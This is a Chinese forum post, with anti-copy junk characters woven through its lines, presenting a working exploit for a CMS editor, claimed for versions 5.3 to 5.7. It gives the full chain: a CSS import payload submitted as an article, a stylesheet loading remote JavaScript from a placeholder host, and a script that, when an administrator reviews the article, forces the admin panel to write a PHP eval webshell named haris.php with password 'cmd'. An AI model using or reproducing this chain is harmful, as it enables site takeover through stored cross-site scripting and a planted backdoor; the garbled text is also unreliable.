<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
' m7 x6 l. t1 w; e9 @8 p; e为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
7 @7 o: D( ]0 z* j: g目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。( Y, J' C5 ^! v+ E
下面说说利用方法。6 v6 ~" s1 I! q' d
条件有2个:
+ ^8 r" P( o$ \1.开启注册% ]0 q) Q$ K4 `' E |+ Y% I, G
2.开启投稿
+ W# F$ K! Q$ F/ b注册会员----发表文章4 n8 J" M. c. F; B: \) v
内容填写:! u R) o0 M x; t& N9 \0 ~
复制代码! }$ s3 G3 R/ a& u- v
<style>@im\port'\http://xxx.com/xss.css';</style>0 ~0 o3 i6 P9 C5 v: y3 M% ~) `' n
新建XSS.Css
' p' u, ]9 s+ [& L6 B复制代码4 e" n' p+ W1 w0 W1 P+ p
.body{
Y8 Q* K/ c+ j- h4 v% obackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
! }- I8 m6 \8 J! K! V, R6 _" m+ d7 i# x新建xss.js 内容为
5 B E2 C* V0 f2 B& A, _1 T复制代码5 `3 R/ [! _; ?( \
1.var request = false;
) I U( L+ T# c9 \0 D2.if(window.XMLHttpRequest) { g# Z4 x6 m! d& N2 t) u0 T
3.request = new XMLHttpRequest();0 h/ D N2 `5 s
4.if(request.overrideMimeType) {
" A+ b/ t. |+ b; W# m5.request.overrideMimeType('text/xml');' _( z4 [! \/ v* f" D
6.}* t: y$ z* g, \& E
7.} else if(window.ActiveXObject) {
: d/ W: X1 L3 V: T0 Q8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];+ A# |- b3 l- i) C
9.for(var i=0; i<versions.length; i++) {4 f% ?: ]; I% B9 F# S7 |0 h2 m/ G
10.try {( H& F- p, { R; N& d/ q
11.request = new ActiveXObject(versions);5 v* q) a3 w! d: g( t$ A' o
12.} catch(e) {}1 l. l! b3 G3 R$ p% F' K5 m
13.}
- X! z& L2 t A/ W( D3 M8 |14.}
# z. _) ], n$ I6 q15.xmlhttp=request;
8 K! I% D; ]) ]' e8 d( J) k( x16.function getFolder( url ){$ m, M% @6 z& ]" i |7 j
17. obj = url.split('/')6 [: @1 N- }+ C, `5 {* b/ O2 B
18. return obj[obj.length-2]! l6 `. }: i3 B
19.}) ?: D# ^) X C6 {& h& N- j3 |
20.oUrl = top.location.href;+ ^/ z# |( Q0 D, G T4 O* q: h9 M
21.u = getFolder(oUrl);
7 n8 z5 f8 P* |5 Y4 @7 [8 h22.add_admin();
, ?' Y `9 s# f1 a! c23.function add_admin(){$ U/ A5 h7 f% h7 }/ T
24.var url= "/"+u+"/sys_sql_query.php";
7 L C" U: D2 `, j0 H25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
4 V, g' G, b0 _, r* t0 R26.xmlhttp.open("POST", url, true);2 j. r6 p7 l! w: r% @
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");4 J$ y& f( T5 m: `- `5 M
28.xmlhttp.setRequestHeader("Content-length", params.length);! E" r' b; o9 q
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
- d4 P: o7 V7 M t) h# y30.xmlhttp.send(params);
. |$ w5 d: y% e: U7 ~31.}
: `$ a; t0 H3 T; x5 p9 Z$ {* r当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |